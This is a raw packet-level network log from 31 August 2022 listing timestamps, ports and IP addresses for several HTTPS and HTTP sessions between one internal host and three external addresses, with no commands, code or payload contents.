Aug 31, 2022 14:29:00.291889906 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291902065 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291953087 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292001009 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292053938 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292094946 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292109966 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292123079 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292169094 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292210102 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292263031 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292315960 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292330980 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292356014 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292397022 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292426109 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292479038 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292522907 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292536974 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292578936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292639971 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292654037 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292670012 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292709112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292738914 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292803049 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292814970 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292829037 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292845964 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292886019 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292900085 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292926073 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.292965889 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.292999983 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.293006897 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.408994913 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.409020901 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.409151077 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.411668062 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.411689043 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.411715031 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.411737919 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.411839962 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.411854029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.411936045 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.411947966 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.411977053 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.411988020 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412007093 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412122965 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412137032 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412271976 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412298918 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412308931 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412359953 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412404060 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412537098 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412548065 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412561893 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412586927 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412605047 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412625074 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412755013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412770987 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412797928 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.412808895 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412815094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.412836075 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413167000 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413186073 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413208008 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413219929 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413260937 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413328886 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413342953 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413427114 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413443089 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413477898 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413487911 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413523912 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413523912 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413562059 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413563013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413602114 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413634062 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413707972 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413759947 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413786888 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413801908 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413846970 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413873911 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.413927078 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.413980961 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.414136887 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.414447069 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.414458990 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.414465904 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.414475918 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.414541960 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.578025103 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.578058958 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.578211069 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.584629059 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.584647894 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.584681988 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.584706068 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.584849119 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.584872007 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.584930897 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.584970951 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.584985018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585061073 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585076094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585130930 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585150957 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585184097 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585235119 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585248947 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585273027 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585345984 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585365057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585407019 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585423946 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585439920 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585449934 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585561037 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585577965 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585666895 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585685015 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585726023 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585747004 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585751057 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585762978 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585871935 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585886002 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.585963011 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.585983038 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.586033106 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.586057901 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.586075068 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.586153030 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.791388988 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.791528940 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.795965910 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.795994997 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.796137094 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.808602095 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.808636904 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808665037 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808705091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808806896 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.808830023 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808865070 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.808880091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808911085 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.808995008 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809015989 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809058905 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809076071 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809107065 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809179068 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809196949 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809243917 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809259892 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809278011 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809351921 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809370041 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809431076 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809449911 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809488058 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809514046 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809545040 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809576035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809616089 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809633970 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809667110 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809684992 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809710979 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809726000 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809803963 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809818983 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809842110 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.809871912 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.809900045 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:01.088615894 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:01.097197056 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:01.372991085 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:01.373044968 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:01.373056889 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:01.373066902 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:01.520617008 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.551995039 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552082062 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552134037 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552175999 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.552223921 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552290916 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.552303076 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552405119 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.552593946 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.556180000 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.556232929 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.556291103 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.556307077 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.904961109 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.905016899 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.905091047 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.905669928 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.905689001 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.945193052 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.945285082 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.947427988 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.947448969 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.947674036 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.949779034 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.985668898 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.985819101 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.985872030 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.985904932 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.985985041 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.986026049 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.986033916 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.986145973 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:01.986191034 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.988117933 CEST	49746	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:01.988154888 CEST	443	49746	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:02.128952026 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.269679070 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:02.269788027 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.443240881 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.584045887 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:02.585150957 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.586004972 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.726479053 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:02.759840965 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:02.921960115 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:02.952919006 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:02.952972889 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:02.953584909 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:02.989710093 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:02.989751101 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.036103964 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.036232948 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.038592100 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.038610935 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.039146900 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.045109987 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.080959082 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.081057072 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.081125975 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.081156969 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.081180096 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.081198931 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.081222057 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.081476927 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.083616972 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.098701954 CEST	49748	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.098735094 CEST	443	49748	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.281712055 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.281759024 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.281874895 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.296591043 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.296631098 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.335510015 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.335578918 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.338351965 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.338370085 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.338630915 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.342619896 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.378645897 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.378701925 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.378736973 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.378772974 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.378779888 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.378801107 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.378817081 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.548243999 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:03.548340082 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:03.578337908 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.578371048 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.584852934 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.585318089 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.585375071 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.585429907 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.585985899 CEST	49749	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:03.586019993 CEST	443	49749	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:03.688849926 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:03.707518101 CEST	80	49747	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:03.922152996 CEST	49747	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:04.233052969 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.233135939 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.233236074 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.234428883 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.234450102 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.274158001 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.274318933 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.279205084 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.279225111 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.279563904 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.281534910 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.319201946 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319289923 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319379091 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319437027 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319463015 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.319487095 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319502115 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.319555998 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.319628954 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.319982052 CEST	49750	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.320003033 CEST	443	49750	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.435501099 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.435570002 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.436461926 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.437038898 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.437055111 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.478028059 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.478115082 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.483237028 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.483257055 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.483660936 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.511889935 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.536415100 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536489010 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536540031 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536539078 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.536556005 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536595106 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.536600113 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536680937 CEST	443	49751	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:04.536732912 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.537394047 CEST	49751	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:04.537408113 CEST	443	49751	104.21.40.196	192.168.2.4
